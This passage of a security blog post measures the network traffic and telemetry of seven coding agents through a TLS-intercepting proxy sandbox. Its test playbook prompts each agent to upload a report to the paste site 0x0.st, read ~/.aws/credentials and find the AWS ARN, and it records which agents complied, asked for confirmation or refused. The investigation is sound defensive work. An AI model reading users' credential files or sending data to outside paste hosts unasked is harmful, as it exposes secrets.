Pye](https://www.linkedin.com/in/lucas-pye-a618802bb/) under direction and guidance from senior engineers in the organisation. ## tl;dr IOCs Not so much Indicators of Compromise but Indicators of Coding Agents' use in your network. These could be used to only allow approved agents, monitor for shadow IT usage, disallow unapproved ones, or only disallow telemetry endpoints where possible. :::tip [Click here](#iocs) to jump to the IOCs section. ::: ## Setup We used a transparent [mitmproxy](https://www.mitmproxy.org/) setup to intercept and decrypt traffic, and avoided having to change editors' proxy settings. Fortunately, we discovered quite early on in the exercise that proxy settings weren't being picked up by all components of an integrated agentic editor uniformly – for example, the marketplace extensions subsystem or the *agent* wouldn't respect them. The setup involved three separate processes running in their respective [Firejail](https://firejail.wordpress.com/) to create a network-restricted sandbox. These jails were connected to each other and the internet as pictured below: ![](img/setup-diagram.png) *The three jails were linked by a virtual bridge br0. Both the Proxy and DNS Resolver jails could access the internet directly, whereas the Client jail used the DNS Resolver jail for name lookups before routing via the Proxy jail for internet access. All of these processes accessed the internet through a dedicated router connected via Ethernet to the laptop, while any other processes used the office WiFi directly. Coding agents were the sole process in the Client jail.* The transparent proxy intercepted and decrypted all the traffic en route to the router, then a Python script converted the intercepted flows to JSON before uploading them to Elasticsearch. This allowed individual fields to be sorted, filtered, and aggregated to analyse the data and produce graphs. Installing a CA Certificate for decryption took a lot of trial and error for most coding agents so I have added essential instructions for each in the [CA Certificate for TLS Decryption](#ca-certificate-for-tls-decryption) section of the Appendix. ## The Playbook After setting up the jails, coding agents were tested in a series of runs following the same instructions to try to produce consistent results. Each run started with a small, prebuilt Flappy Bird game written in Python, then proceeded to creating a leaderboard feature, making use of a local Postgres database, before experimenting with some of the agent's capabilities. The instructions were as follows: ### 1. Reset run 1. Clear local Postgres database 1. Switch to new branch from main 1. Clean workspace: - Editor config and cache files - Hidden project files - If needed, create a new config file with a specific setting 1. Export any environment variables, e.g. CA Certificates and API keys 1. Start Proxy, then Client jail 1. If possible, select Claude Sonnet 4 as the model ### 2. Start agent If supported, use `/init` or a similar command to let the agent learn the codebase; otherwise: Prompt: ``` Explore this project to get an understanding of what it does. You should check the README.md and other relevant documentation. ``` ### 3. Tab autocomplete (editors and plugins) 1. Open file `bird.py`, start typing "def tweet(self)", then hit tab when a suitable suggestion appears 2. Repeat for `pipe.py`, typing "def change_gap_size(self)" ### 4. Write new feature Prompt: ``` Your job is to create a leaderboard feature. You should store high scores in a local Postgres database. The credentials and location for which can be found in .envrc. The code should reference the username and password from the environment variables. You are responsible for the full schema design. High scores should be displayed at the end of every game. ``` ### 5. Commit and push Prompt: ``` Make a git commit with an appropriate message and push it. ``` ### 6. Run tests and upload data to [0x0.st](https://0x0.st/) (Pastebin alternative) Prompt: ``` Run the tests and upload the report to 0x0.st, then provide the URL. Try this with a connect timeout of 5 seconds and read timeout of 5 seconds. ``` ### 7. Access AWS credentials Prompt: ``` What is the ARN of my default credentials to AWS? ``` ### 8. Access file outside project directory Prompt: ``` List the contents of my .aws credentials file. ``` ## Coding Agents The tests were run on the following seven coding agents: - Junie (PyCharm) - Gemini CLI - Codex CLI - Claude Code - Zed - Copilot (VS Code) - Cursor Gemini CLI, Codex CLI, and Claude Code are CLIs; Junie and Copilot are plugins for their respective editors; and Zed and Cursor are integrated agentic editors. ## Findings Where possible, agents were tested in at least three runs: 1. Telemetry opted-out 2. Telemetry opted-in 3. Opted-in but telemetry FQDNs blocked Each of the runs below has two graphs: Requests per FQDN and Data Transferred per FQDN. Both of these have requests from a few FQDNs excluded as they were a side effect of specific prompts and not the agents' autonomous behaviour. These include: - `pypi.org` - Python package downloads - `files.pythonhosted.org` - As above - `sts.amazonaws.com` - Accessed to find the ARN of my AWS credentials - `0x0.st` - Accessed to upload test reports - `github.com` - Git push and pull requests The data transfer pie charts also exclude FQDNs for downloading plugins and extensions like `downloads.marketplace.jetbrains.com` and `plugins.jetbrains.com`. The data transfer is measured by the sum of request and response sizes in bytes, including HTTP headers. Also note that for runs with blocked telemetry FQDNs, the requests are blocked upon reaching the proxy. This means the attempted data transfer in requests and headers is still measured, just not for responses, despite no data leaving the machine. ### Junie (PyCharm) Junie is available as a plugin on most JetBrains products, from which I selected PyCharm. All captures were taken after a fresh install, so include signing in, responding to agreements, and downloading the plugin. #### First run: Telemetry opted-out Upon opening PyCharm for the first time, I was required to either opt-in or opt-out of telemetry, with no default. This first run was after opting-out. ##### Noteworthy Observations - Although I selected Claude Sonnet 4 as the model, gpt-4o-mini was still prompted first as a "task step summarizer". - All prompts were sent through `api.jetbrains.ai`, not directly to Anthropic. - The final prompt constructed by the editor included: previous prompts and responses in the chat, the full paths of recently viewed files, the contents of the current file, and a diff of all the changes in the current session. - AI autocompletions were perhaps processed locally; no data relating to them could be seen in the traffic capture. - Junie was able to upload files to `0x0.st`, read `~/.aws/credentials` and determine my AWS ARN. Each required confirming at least one command. ```json { "prompt": "ij.junie.openai", "profile": "openai-gpt-4o-mini", "chat": { "messages": [ { "content": "You are a task step summarizer", "type": "system_message" }, { "content": "\nYou need to summarize the following \"observation, action (tool), result\" sequence in TWO or THREE short and concise sentences. \nFocus on the outcome or status, ensuring the summary is simple. \nAvoid mentioning specific directories, file names, or technical details unless critical to understanding the result.\nImmediately respond with the summary without any additional comments or explanations.\n\nHere is an example of desired output.\n\nThe README file has been updated with detailed documentation about the key-value storage web server’s features and endpoints.\n\n\nNow the \"observation, action (tool), result\" sequence to summarize: \nObservation and action (tool):\n````\n\n\nI have a complete understanding of the Flappy Bird game project structure from my previous exploration. Now I need to implement a leaderboard feature that stores high scores in a local Postgres database using credentials from .envrc file. The leaderboard should display high scores at the end of every game.\n\n\n\nCheck for .envrc file and examine database credentials to understand the connection requirements.\n\n\n\ntool: bash\n - \"command\"=\"ls -la | grep envrc\"\n````\n\nAction result:\n````\n-rw-rw-r-- 1 asd asd 120 Aug 11 12:03 .envrc\n-rw-rw-r-- 1 asd asd 57 Aug 20 13:21 .envrc.example\n\n(Open file: /home/asd/code_download/agent-investigation-game/src/game/pipe.py)\n(Current directory: /home/asd/code_download/agent-investigation-game)\n\n````\n\nIMPORTANT NOTE: If the action result mentions \"Please review the changes and make sure they are correct...\" then DON'T INCLUDE IT IN SUMMARIZATION\n", "type": "user_message" } ] }, "parameters": { "data": [ { "fqdn": "llm.parameters.number-of-choices", "type": "int" }, { "type": "int", "value": 1 } ] } } ``` *Request content showing a gpt-4o-mini prompt.* ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Junie with telemetry opted-out](img/Junie/restricted-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Junie with telemetry opted-out](img/Junie/restricted-size.png) #### Second run: Telemetry opted-in Telemetry was sent to `analytics.services.jetbrains.com`. Interestingly, there were only 6 requests in the 30-minute test run. However, each contained quite a long list of events, with several being over 20KB. Requests were labelled as being from one of three types of *recorder*, which seemed to collect and temporarily store data before transmitting it in batches. The types were: - **FUS** (Feature Usage Statistics) - User actions, performance times, indexing - **MP** (Marketplace) - Plugin state changes, marketplace searches - **ML** (Machine Learning) – Code completions / rejections, AI-assisted actions Enabling telemetry also caused a 1.9MB increase in the data requested from `resources.jetbrains.com`. This was for configuring the telemetry recorders, such as which events to track, how to categorise data, what batch sizes to send, etc. ```json { "productCode": "PY", "versions": [ { "majorBuildVersionBorders": { "from": "2020.1", "to": "2020.3" }, ... ... { "majorBuildVersionBorders": { "from": "2025.1" }, "releaseFilters": [ { "releaseType": "ALL", "from": 0, "to": 256 } ], "endpoints": { "send": "https://analytics.services.jetbrains.com/fus/v5/send/", "metadata": "https://resources.jetbrains.com/storage/ap/fus/metadata/tiger/FUS/groups/", "dictionary": "https://resources.jetbrains.com/storage/ap/fus/metadata/dictionaries/" }, "options": { "groupDataThreshold": "10000", "dataThreshold": "15000", "groupAlertThreshold": "6000" } } ] } ``` *Response content for the first recorder configuration request (middle excluded for brevity).* ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Junie with telemetry opted-in](img/Junie/relaxed-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Junie with telemetry opted-in](img/Junie/relaxed-size.png) #### Third run: Opted-in with telemetry FQDNs blocked Blocking `analytics.services.jetbrains.com` and `resources.jetbrains.com` had no effect on the usability of the editor. I could still use Junie and autocomplete without errors or warnings. Blocking just the latter also prevented requests to `analytics.services.jetbrains.com` from even being formed, as the recorders were never configured. JetBrains also has the option to enable "detailed data collection by JetBrains AI". This allows the collection of full conversations, including code fragments. Unfortunately I didn't have time to test this, but the data is presumably taken from prompts, so can't be prevented by blocking a domain. Finally, each telemetry event had an associated `system_machine_id`, linking it to this device. As hoped, this did not stay the same after a fresh install. ```json "system_machine_id": "391d21361919e9d4bb299025ad84b7ce44eddb1c9a6d107d2aa034ef7f6e119b" ``` ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Junie with telemetry opted-in but telemetry FQDNs blocked](img/Junie/blocked-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Junie with telemetry opted-in but telemetry FQDNs blocked](img/Junie/blocked-size.png) #### Versions *Model: Claude Sonnet 4.0* *Junie version: 252.284.66* *PyCharm version: PY-252.23892.515* ### Gemini CLI Used with a free Gemini API key. Had the quickest runs of any editor (using Gemini-2.5-Flash). #### First run: Telemetry opted-out Telemetry was enabled by default (for a free Gemini API key), but could be disabled by adding `"usageStatisticsEnabled": false` to the `.gemini/settings.json` file. Because captures were taken after a fresh install, this meant manually creating both the `.gemini` directory and the `settings.json` file before starting. No alternative solutions with command switches or environment variables seemed to work. ##### Noteworthy Observations - Far fewer requests than Junie, almost all to just one domain: `generativelanguage.googleapis.com`. Despite this, there was little difference in total data transferred. - Again, the entire chat history and result of tool calls were added to the prompt, with lots of repeated context, resulting in successive requests to the Gemini API getting larger and larger. - Code content was not directly added to prompts, e.g. current file or recent modifications, but was included in chat history after read-file tool calls. The project path and file structure were also included as context before each request. - Gemini refused to read files outside the current directory or run any AWS CLI commands, even with further prompting. Uploading files to `0x0.st` was still successful with a single confirmation. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Gemini with telemetry opted-out](img/Gemini/restricted-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Gemini with telemetry opted-out](img/Gemini/restricted-size.png) #### Second run: Telemetry opted-in (Default) Telemetry was sent to `play.googleapis.com` and also looked to use some sort of recorder, with just 8 requests, each listing a sequence of events. Events included: new prompts, API requests/responses, tool calls, slash commands, etc. Each of these with a timestamp and `client_install_id`. ```json { "event_time_ms": 1755517766035, "source_extension_json": { "console_type": "GEMINI_CLI", "application": 102, "event_name": "tool_call", "event_metadata": [ [ { "gemini_cli_key": 14, "value": "\"write_file\"" }, { "gemini_cli_key": 35, "value": "\"a4d8f3af-4b67-4c84-bbc0-96dc9f463f45########0\"" }, { "gemini_cli_key": 15, "value": "\"auto_accept\"" }, { "gemini_cli_key": 16, "value": "true" }, { "gemini_cli_key": 17, "value": "13040" }, ... { "gemini_cli_key": 39, "value": "SURFACE_NOT_SET" } ] ], "client_install_id": "c6409ad8-9d8d-432d-b177-cb79b9885516" } } ``` *Example event from a telemetry request. About half the event_metadata items are removed for conciseness.* The documentation also mentions training on code when opted-in to usage statistics, but again, as code is already uploaded in read-file tool calls, there is no way of knowing how it is processed. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Gemini with default telemetry opted-in](img/Gemini/relaxed-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Gemini with default telemetry opted-in](img/Gemini/relaxed-size.png) #### Third run: Opted-in with telemetry FQDNs blocked The Gemini CLI continued to function the same with `play.googleapis.com` blocked. However, there were over a hundred more telemetry requests, with the total attempted telemetry data transfer being about 150 times larger. I can only speculate that the CLI just kept retrying after previous requests failed, but the total attempted transfer size for telemetry being almost twice that of API requests is just ridiculous. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Gemini with default telemetry but telemetry FQDNs blocked](img/Gemini/blocked-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Gemini with default telemetry but telemetry FQDNs blocked](img/Gemini/blocked-size.png) #### Versions *Model: gemini-2.5-flash* *Gemini CLI version: 0.1.21* ### Codex CLI Used in `--full-auto` mode. I couldn't find any mention of telemetry, in the [Codex documentation](https://github.com/openai/codex?tab=readme-ov-file), in the output of the `--help` switch, or in the settings when running the CLI. As a result, there is just the one run for this editor. The agent was run inside its own default sandbox, which limited it to the working directory and restricted network access. I approved it to ignore this, when prompted, for several commands like installing Python packages or getting my AWS ARN. ##### Noteworthy Observations - The only requested domain was `api.openai.com` (ignoring those mentioned at the top of this section). Within this, there was also just one requested path: `/v1/responses`. - Looking at the headers, there was little more than a session ID and version number in the way of telemetry. - The requests themselves were also relatively small, with one per prompt or tool call and a fairly minimal repeated context and instruction set. This resulted in the total data transfer being less than a third that of the other editors tested so far. - Codex read the `~/.aws/credentials` file without confirmation, and was able to upload files to `0x0.st` and determine my AWS ARN after approving "retry without sandbox". - Once again, Codex had an option to opt-in to training on code/prompts in the OpenAI web console. This was disabled by default and had no effect on network traffic when enabled, hence the single section for this editor. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Codex with default telemetry](img/Codex/default-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Codex with default telemetry](img/Codex/default-size.png) #### Versions *Model: codex-mini-latest (2025-08-19)* *Codex CLI version: v0.9.0* ### Claude Code Used with a Claude Pro subscription. Note that during testing, Anthropic made a [significant update](https://web.archive.org/web/20250828162850/https://www.anthropic.com/news/updates-to-our-consumer-terms) to their privacy policy, changing from privacy-first to opt-out, with September 28th as the deadline to opt-out. #### First run: Telemetry opted-out Default telemetry disabled using: - `export DISABLE_TELEMETRY=1` - *Statsig* telemetry - `export DISABLE_ERROR_REPORTING=1` - Sentry error telemetry ##### Noteworthy Observations Claude 3.5 Haiku was used alongside Sonnet 4 for several system tasks: - Analysing whether a prompt is a new conversation topic, then providing a title if needed. - Determining any file paths read or modified by a tool call. - Deciding whether user confirmation is needed for a tool call. E.g. preventing command injection behind approved prefixes. ```json { "max_tokens": 512, "messages": [ { "content": "Command: python3 -m pytest tests/ -v --tb=short > test_report.txt 2>&1\nOutput: \n\n", "role": "user" } ], "metadata": { "user_id": "user_264a5b050a3a389cafb40a1e7f5980bd6450b1f366e404b00c2a40a550ab945a_account_04633d98-7e59-4420-afb8-675468f67c71_session_68c6d0ca-3753-43b2-aa92-8ccb0701ebff" }, "model": "claude-3-5-haiku-20241022", "stream": true, "system": [ { "cache_control": { "type": "ephemeral" }, "text": "Extract any file paths that this command reads or modifies. For commands like \"git diff\" and \"cat\", include the paths of files being shown. Use paths verbatim -- don't add any slashes or try to resolve them. Do not try to infer paths that were not explicitly listed in the command output.\n\nIMPORTANT: Commands that do not display the contents of the files should not return any filepaths. For eg. \"ls\", pwd\", \"find\". Even more complicated commands that don't display the contents should not be considered: eg \"find . -type f -exec ls -la {} + | sort -k5 -nr | head -5\"\n\nFirst, determine if the command displays the contents of the files. If it does, then tag should be true. If it does not, then tag should be false.\n\nFormat your response as:\n\ntrue\n\n\n\npath/to/file1\npath/to/file2\n\n\nIf no files are read or modified, return empty filepaths tags:\n\n\n\nDo not include any other text in your response.", "type": "text" } ], "temperature": 0 } ``` *Content of a Claude 3.5 Haiku request checking for read or modified file path.* Claude Code had by far the largest API requests, with most being 200 to 300KB. Again, requests were sent for every tool call or prompt, and each included the entire history of prompts, tool calls, and to-do list changes, alongside a long list of available tools and their uses. The larger size seemed to be mostly down to more tool calls with more context and a larger instruction set. Uploading to `0x0.st`, reading `~/.aws/credentials`, and getting my AWS ARN were successful on most runs after a single confirmation, but occasionally just returned a command for me to execute. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Claude with telemetry opted-out](img/Claude/restricted-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Claude with telemetry opted-out](img/Claude/restricted-size.png) #### Second run: Telemetry opted-in (Default) There was a huge amount of telemetry sent to `statsig.anthropic.com`. Most events were sent in their own requests and often consisted almost entirely of IDs and metadata. On top of this, there were more types of events than seen in other editors, resulting in a total of almost a thousand requests and 2.4MB of data transferred for just telemetry. ```json { "events": [ { "eventName": "tengu_tool_use_success", "metadata": { "betas": "claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,fine-grained-tool-streaming-2025-05-14", "clientType": "cli", "durationMs": 6, "entrypoint": "cli", "env": "{\"platform\":\"linux\",\"nodeVersion\":\"v22.17.1\",\"terminal\":\"konsole\",\"packageManagers\":\"npm\",\"runtimes\":\"node\",\"isRunningWithBun\":false,\"isCi\":false,\"isClaubbit\":false,\"isGithubAction\":false,\"isClaudeCodeAction\":false,\"isClaudeAiAuth\":true,\"version\":\"1.0.85\"}", "isInteractive": "true", "isMcp": false, "messageID": "msg_01QqP2dzrh8UvDAMmxEghsMW", "model": "claude-sonnet-4-20250514", "sessionId": "c77b8b3d-6dfe-4938-8dd9-bda0f191ad0e", "sweBenchInstanceId": "", "sweBenchRunId": "", "sweBenchTaskId": "", "toolName": "LS", "userType": "external" }, "time": 1755693345326, "user": { "appVersion": "1.0.85", "custom": { "accountUuid": "04633d98-7e59-4420-afb8-675468f67c71", "firstTokenTime": 1752663632942, "organizationUuid": "25df506c-2047-4a1b-b721-4e63a376fab3", "subscriptionType": "pro", "userType": "external" }, "customIDs": { "organizationUUID": "25df506c-2047-4a1b-b721-4e63a376fab3", "sessionId": "c77b8b3d-6dfe-4938-8dd9-bda0f191ad0e" }, "statsigEnvironment": { "tier": "production" }, "userID": "cd59e5622bf949a7617adbcc8b2477a6570367e8c2bb875d196d5b624f0e81cf" } } ], "statsigMetadata": { "fallbackUrl": null, "sdkType": "javascript-client", "sdkVersion": "3.12.1", "sessionID": "b776b5af-90b2-4bc4-8f87-a7e41ea70276", "stableID": "c6bd249e-6a92-4d8f-9197-9ea99053dcab" } } ``` *Content of a telemetry request.* Some telemetry was also sent to `o1158394.ingest.us.sentry.io` for error reporting. In this case, it was an error I had after signing in ([GitHub issue here](https://github.com/anthropics/claude-code/issues/5893)) and was fixed with just a `/exit` command and restart. Also note that although I am based in the UK, it is a US telemetry domain. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Claude with default telemetry](img/Claude/relaxed-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Claude with default telemetry](img/Claude/relaxed-size.png) #### Third run: Opted-in with telemetry FQDNs blocked Blocking `statsig.anthropic.com` and `*.sentry.io` had no effect on using Claude Code. However, there was an unexpected increase in the number of API requests. This was almost entirely from empty requests to `api.anthropic.com/api/hello`, which made up 90% of requests on telemetry-blocked runs, compared to around 24% otherwise. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Claude with default telemetry but telemetry FQDNs blocked](img/Claude/blocked-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Claude with default telemetry but telemetry FQDNs blocked](img/Claude/blocked-size.png) #### Versions *Model: Claude Sonnet 4.0* *Claude Code version: v1.0.85* ### Zed Used with a Zed Pro free trial. Needed almost no approval to complete the tasks, though still had the longest runs of any editor. After signing in, my GitHub account was stored in my system wallet. I didn't delete this between runs as Zed had no sign-in option other than launching a browser, which wasn't working in the jail it was running inside. #### First run: Telemetry opted-out Upon launching the onboarding, telemetry and crash reports were both opted-in by default. This run was done with both initially disabled, by creating a `~/.config/zed/settings.json` file ahead of time, containing: ```json "telemetry": { "diagnostics": false, "metrics": false } ``` I also did a short extra run disabling these immediately after starting Zed, during the onboarding. As this just relates to telemetry, I have included it under [Second run: Telemetry opted-in](#second-run-telemetry-opted-in-default-2). ##### Noteworthy Observations - Again, Zed had an API Request per prompt or tool call, with every request including the tool schema, system prompt, and entire prompt/tool history. As a result, the first few requests were about 50KB and the last few were all over 200KB. These were sent to `cloud.zed.dev`. - AI autocomplete requests were also sent to `cloud.zed.dev` every few characters typed. They contained the current open file, a diff of changes across all recent files, as well as a `can_collect_data` tag, presumably indicating if a user is opted-in to sharing code. Each successful response returned a copy of the current file with the suggested changes and an ID to reference upon accepting the edit. - Uploading to `0x0.st` and reading `~/.aws/credentials` were successful without confirmation, just a security warning that credentials are now in the chat. Getting my AWS ARN needed a second command. - 52MB were transferred from `registry.npmjs.org` each run, despite Zed being Rust-based. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Zed with telemetry opted-out](img/Zed/restricted-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Zed with telemetry opted-out](img/Zed/restricted-size.png) #### Second run: Telemetry opted-in (Default) Telemetry was sent to `api.zed.dev` in batches, with an average of 5 requests per run, similar to Junie. Requests were labelled with a system_id, installation_id, session_id, and metrics_id, followed by a list of events. These events included: settings changed, agent started, agent prompted, agent thread usage (tokens, model, promptID), predictions accepted, etc. ```json { "event_properties": { "cache_creation_input_tokens": 623, "cache_read_input_tokens": 13072, "input_tokens": 2, "model": "zed.dev/claude-sonnet-4", "model_provider": "zed.dev", "output_tokens": 97, "prompt_id": "7754d504-1aaf-4db0-b5f5-e92609662122", "thread_id": "a23258f9-278b-4fa5-8306-4dc6cd8f1658" }, "event_type": "Agent Thread Completion Usage Updated", "milliseconds_since_first_event": 85774, "signed_in": true, "type": "Flexible" }, ``` *A single event from the list in a telemetry request.* As mentioned before, disabling telemetry during the onboarding allowed a single telemetry request to be sent with the following content: ```json "system_id": "9b0c41bc-10de-4581-8e2d-dcbf79e8e04c", "installation_id": "6f3963c5-451d-4123-a129-764b44a60bd0", "session_id": "89ab42a3-7e49-4e2c-a69b-254669c8665f", "metrics_id": null, "app_version": "0.201.6", "os_name": "Linux X11", "os_version": "ubuntu 24.04", "architecture": "x86_64", "release_channel": "Zed", "events": [ { "signed_in": false, "milliseconds_since_first_event": 0, "type": "Flexible", "event_type": "App First Opened", "event_properties": {} }, { "signed_in": false, "milliseconds_since_first_event": 0, "type": "Flexible", "event_type": "App First Opened For Release Channel", "event_properties": {} } ] ``` ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Zed with default telemetry](img/Zed/relaxed-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Zed with default telemetry](img/Zed/relaxed-size.png) #### Third run: Opted-in with telemetry FQDNs blocked As expected, blocking `api.zed.dev` had no effect on using Zed. Unlike Junie, there was no transfer for configuring recorders, so nothing else to block. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Zed with default telemetry but telemetry FQDNs blocked](img/Zed/blocked-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Zed with default telemetry but telemetry FQDNs blocked](img/Zed/blocked-size.png) #### Versions *Model: Claude Sonnet 4.0* *Zed version: 0.201.6* ### Copilot (VS Code) Using GitHub Copilot as a plugin for VS Code, with the default model, GPT-4.1, as Claude Sonnet 4 wasn't offered. For some reason Copilot asked to sign-in twice, both of which needed two failed attempts before a copy and paste code option was provided, so there are quite a few sign-in requests. #### First run: Telemetry opted-out Taken after creating `~/.config/Code/User/settings.json` directories and file containing: ```json { "telemetry.telemetryLevel": "off" } ``` ##### Noteworthy Observations Surprisingly, despite setting `"telemetry.telemetryLevel": "off"`, requests were still sent to `telemetry.individual.githubcopilot.com`, `copilot-telemetry.githubusercontent.com`, and `westus-0.in.applicationinsights.azure.com`. There were 6 requests to the first two, all of which had empty request content, but still contained a client ID and version info in the headers (see snippet below). Requests to `westus-0.in.applicationinsights.azure.com` seemed completely unaffected by the telemetry setting. The VS Code and Copilot Extension settings had no other mention of telemetry. I also tried disabling some GitHub.com account settings but saw no effect. ```json "headers": { "x-msedge-clientid": "5f6121e8b02970a80d9318005ddd46182d314b6dded8872965d60c1c26a2bf38", "x-copilot-clientversion": "1.364.0", "x-copilot-relatedpluginversion-vscodetypescriptlanguagefeatures": "1.0.0", "x-vscode-extensionname": "copilot", "x-vscode-extensionversion": "1.364.0", "x-vscode-extensionrelease": "stable", "x-vscode-build": "vscode", "x-vscode-appversion": "1.103.1", "x-vscode-targetpopulation": "public", "user-agent": "GithubCopilot/1.364.0", "accept": "*/*", "accept-encoding": "gzip,deflate,br" }, ``` *Snippet of headers from an empty telemetry request.* - Prompts were sent to `api.individual.githubcopilot.com` and again included the long list of available tools and the entire chat/tool history in increasingly large requests. There was also some git info including: repo name, owner, and branch. - Inline completions were sent to `proxy.individual.githubcopilot.com`, and included the current class and an additional context file. Upon accepting edits, a request was sent to `origin-tracker.individual.githubcopilot.com`. - Uploading to `0x0.st` was successful, but reading `~/.aws/credentials` and getting my AWS ARN were both refused with the message "Sorry I can't help with that". I also retried the prompt using Claude Sonnet 3.5, to see if GPT-4.1 was the cause, but this was still unsuccessful. - 22MB were transferred from `github.gallerycdn.vsassets.io` every run. This was just installing extensions and has been excluded in the graphs below. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for VS Code with telemetry opted-out](img/VSCode/restricted-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for VS Code with telemetry opted-out](img/VSCode/restricted-size.png) #### Second run: Telemetry opted-in (Default) Telemetry requests were sent to four FQDNs: ##### 1. `mobile.events.data.microsoft.com` 180 requests, mainly from two sources: Monaco Workbench and Copilot Chat Extension. The first detailed general editor events like opening files, extension activation and performance, inline completions, etc. ```json "measurements": { "shown": 1, "shownDuration": 1166, "shownDurationUncollapsed": 1166, "timeUntilShown": 232, "preceeded": 0, "typingInterval": 97, "typingIntervalCharacterCount": 38, "cursorColumnDistance": 0, "cursorLineDistance": 0, "lineCountOriginal": 1, "lineCountModified": 3, "characterCountOriginal": 0, "characterCountModified": 85, "disjointReplacements": 3, "partiallyAccepted": 0, "superseded": 0, "common.timesincesessionstart": 254630, "common.sequence": 192, "common.cli": 1 } ``` *Inline completion measurement snippet.* The latter, Copilot Chat Extension, tracked the timings and token usage across several stages of LLM responses, such as: - toolInvoke - Tool execution validation - agent.tool.responseLength - Response size tracking - response.success - LLM response completion - panel.request - UI interaction tracking Some of these tool invocations had an almost duplicate telemetry request from Monaco Workbench under language model tool invoked. ##### 2. `telemetry.individual.githubcopilot.com` 75 requests, all almost identical to those from the previously mentioned Copilot Chat Extension. The most notable difference was even more endlessly repeated headers listing every single configuration option for Copilot. ##### 3. `copilot-telemetry.githubusercontent.com` One empty content GET request like those seen in the Privacy Mode run, but also two requests exactly like those to the domain above. ##### 4. `westus-0.in.applicationinsights.azure.com` Requests seemed to contain little more than basic system info. Just 4 in total. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for VS Code with default telemetry](img/VSCode/relaxed-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for VS Code with default telemetry](img/VSCode/relaxed-size.png) #### Third run: Opted in with telemetry FQDNs blocked Blocking all four domains had no effect on the usability of the editor. Interestingly, the graphs show far fewer telemetry requests, which could suggest successful responses are needed for telemetry requests to continue, unlike Gemini CLI's vast increase in requests. ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for VS Code with default telemetry but telemetry FQDNs blocked](img/VSCode/blocked-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for VS Code with default telemetry but telemetry FQDNs blocked](img/VSCode/blocked-size.png) #### Versions *Model: GPT-4.1* *VS Code version: 1.103.1* ### Cursor Cursor is a bit of an anomaly. Rather than having unique FQDNs for each purpose, it uses almost entirely just `api2.cursor.sh` and `api3.cursor.sh` domains with a variety of different paths. As a result, I have included some additional graphs comparing paths rather than domains. On top of this, despite heaps of data being sent, there was no information available about telemetry or how to disable it. Just Privacy Mode, which was more focused on training, not telemetry. Even in the forked VS Code settings GUI, the `telemetry.telemetryLevel` setting had been removed. I still did a run for both Privacy Mode and Share Data just to check, but saw no difference in telemetry between them and cannot compare on training as files are already uploaded to Cursor in both modes. Also note that new accounts were forced into Share Data mode, with 24 hours to change the setting before Cursor starts training on their data. I briefly measured the telemetry for an account in this window, and it appeared to be the same as the aforementioned modes. #### First run: Privacy Mode Privacy Mode was enabled using Cursor's online dashboard before starting a fresh install and signing in. ##### Noteworthy Observations - Transmissions were encoded with Protobuf. My Elasticsearch upload script couldn't parse this very well, resulting in lots of non-printable characters and poor formatting throughout the data collected. A fair amount of data also seemed to be further encoded, which, on top of the huge range of request paths, made everything quite hard to understand. - There was no clear to and fro of prompts to a single domain like the other editors. The most requested path was `api2.cursor.sh/aiserver.v1.ChatService/StreamUnifiedChatWithToolsPoll`. However, the request content to this seemed to be nothing more than an ID, like `( & $6715eff0-deda-4d21-b332-d4e20249a79d`, and the response content was encoded. Next after this was `api2.cursor.sh/aiserver.v1.ChatService/WarmStreamUnifiedChatWithTools`, which had much larger requests including prompts and lots of LLM output text. This did still follow the same trend of getting longer and longer, with the last request containing all of my prompts. But it didn't list tool use and was also far less frequent than for other editors, with only 8 requests total. There were also requests to `/aiserver.v1.ChatService/GetPromptDryRun` and `/aiserver.v1.AiService/PotentiallyGenerateMemory`, which both had extremely similar looking content. - Inline completions were dealt with by `/aiserver.v1.AiService/Cpp...` paths, but I couldn't make out much more than vague file contents with placeholders for completion suggestions in the jumble of non-printable characters. - Cursor also uploads files for context and background processes. This could be seen in `FileSyncService` requests, which contained an ID, encrypted path, and either full files for initial uploads or just changes for syncing. - Uploading to `0x0.st`, reading `~/.aws/credentials`, and getting my AWS ARN were all successful after a confirmation. ``` $428c1193-6142-4ceb-b554-ba92ec4d3d29 src/game/bird.py class Bird: def __init__(self, x, y): self.x = x self.y = y self.velocity_y = 0 self.gravity = 0.5 self.jump_strength = -8 self.width = 20 self.height = 20 def jump(self): """Make the bird jump by setting negative velocity""" self.velocity_y = self.jump_strength def update(self): """Update bird position and apply gravity""" self.velocity_y += self.gravity self.y += 